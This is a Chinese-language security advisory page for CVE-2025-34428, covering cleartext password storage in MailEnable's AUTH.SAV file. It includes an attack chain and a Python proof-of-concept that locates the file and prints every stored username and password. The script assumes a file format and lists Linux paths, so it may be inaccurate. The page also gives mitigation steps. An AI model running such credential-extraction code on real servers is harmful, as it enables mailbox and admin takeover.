IPBUF安全漏洞报告
English
CVE-2025-34428 CVSS 7.8 高危

CVE-2025-34428 MailEnable AUTH.SAV 明文存储凭证漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2025-34428
漏洞类型
敏感信息泄露
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MailEnable

相关标签

敏感信息泄露明文存储凭证MailEnable本地权限提升CVE-2025-34428AUTH.SAV邮件服务器

漏洞概述

CVE-2025-34428是MailEnable邮件服务器产品中的一个高危安全漏洞。该漏洞存在于MailEnable 10.54之前的所有版本中,主要问题在于产品将用户和管理员密码以明文形式存储在AUTH.SAV文件中。由于该文件具有过于宽松的文件系统访问权限,任何具有本地读取权限的认证用户都可以访问此文件并获取所有用户的明文密码,包括超级管理员的凭证。攻击者获取这些凭证后,可以成功认证到MailEnable提供的各种服务,包括POP3、SMTP或Webmail界面,从而实现未经授权的邮箱访问和管理控制。此漏洞的CVSS评分为7.8,属于高危级别,攻击向量为本地访问,不需要用户交互,攻击复杂度低,但可导致机密性、完整性和可用性均受到高影响。建议受影响的用户尽快升级到MailEnable 10.54或更高版本以修复此安全问题。

技术细节

MailEnable邮件服务器在处理用户认证时存在严重的安全设计缺陷。问题核心在于AUTH.SAV文件,该文件被用于存储用户认证信息,但采用了明文存储方式保存密码数据。在正常的密码存储实践中,应该使用加盐哈希算法(如bcrypt、Argon2或PBKDF2)对密码进行哈希处理后再存储,而MailEnable却直接将原始密码明文写入文件系统。该文件的访问权限设置不当,允许本地用户进行读取操作。攻击者首先需要获得目标系统的本地访问权限,然后通过文件路径定位到AUTH.SAV文件(通常位于MailEnable的安装目录下),使用标准的文件读取操作即可获取其中存储的所有用户名和明文密码。由于MailEnable的管理员账户信息也存储在同一文件中,攻击者获取超级管理员凭证后可以登录管理控制台,执行任意管理操作,包括创建新用户、修改配置、访问所有邮箱内容等。攻击者还可以利用获取的邮箱凭证进行横向移动,访问同一邮件系统中的其他用户邮箱。

攻击链分析

STEP 1
步骤1
攻击者获得MailEnable服务器的本地访问权限(如通过SSH、RDP或其他方式)
STEP 2
步骤2
定位并读取MailEnable安装目录下的AUTH.SAV文件,该文件默认路径通常为C:\Program Files\Mail Enable\Config\AUTH.SAV
STEP 3
步骤3
解析AUTH.SAV文件内容,提取其中存储的用户名和明文密码信息
STEP 4
步骤4
识别超级管理员账户凭证(通常具有最高权限的管理账户)
STEP 5
步骤5
使用获取的凭证通过POP3、SMTP或Webmail界面进行认证登录
STEP 6
步骤6
成功登录后,访问目标用户的邮箱内容、发送欺诈邮件或进行其他恶意操作
STEP 7
步骤7
如获取管理员凭证,可登录管理控制台执行任意管理操作,完全控制邮件系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-34428 PoC - MailEnable AUTH.SAV Cleartext Credential Storage # This PoC demonstrates reading plaintext credentials from AUTH.SAV file import os import sys def read_auth_sav(file_path): """ Read and parse MailEnable AUTH.SAV file AUTH.SAV format typically contains username:password pairs """ credentials = [] try: with open(file_path, 'r', encoding='utf-8', errors='ignore') as f: for line in f: line = line.strip() if ':' in line: parts = line.split(':') if len(parts) >= 2: username = parts[0] password = parts[1] if len(parts) > 1 else '' credentials.append({'username': username, 'password': password}) except FileNotFoundError: print(f"[-] File not found: {file_path}") return [] except PermissionError: print(f"[-] Permission denied: {file_path}") return [] return credentials def main(): # Default MailEnable installation paths default_paths = [ r'C:\Program Files\Mail Enable\Config\AUTH.SAV', r'C:\Program Files (x86)\Mail Enable\Config\AUTH.SAV', r'/opt/mailenable/config/AUTH.SAV', r'/var/mailenable/config/AUTH.SAV' ] print("[*] CVE-2025-34428 - MailEnable AUTH.SAV Credential Extraction") print("[*] Target: MailEnable < 10.54") # Check if custom path provided if len(sys.argv) > 1: paths = [sys.argv[1]] else: paths = default_paths for path in paths: if os.path.exists(path): print(f"\n[+] Found AUTH.SAV at: {path}") creds = read_auth_sav(path) if creds: print(f"[+] Extracted {len(creds)} credential(s):") for cred in creds: print(f" Username: {cred['username']}") print(f" Password: {cred['password']}") print("-" * 40) else: print("[-] No credentials found in file") break else: print("[-] AUTH.SAV file not found in default locations") print("[*] Please provide the correct path to AUTH.SAV") if __name__ == '__main__': main()

影响范围

MailEnable < 10.54

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:首先,立即限制AUTH.SAV文件及MailEnable配置目录的访问权限,移除所有非必要用户和组的读取权限,仅保留SYSTEM账户和MailEnable服务账户的必要访问权限;其次,审计并重置所有MailEnable用户账户的密码,特别是管理员账户和具有邮件访问权限的账户;然后,启用详细的审核日志,监控对AUTH.SAV文件的访问尝试;最后,考虑部署额外的网络层访问控制,限制对邮件服务的访问来源。最根本的修复方案仍是尽快升级到MailEnable 10.54版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表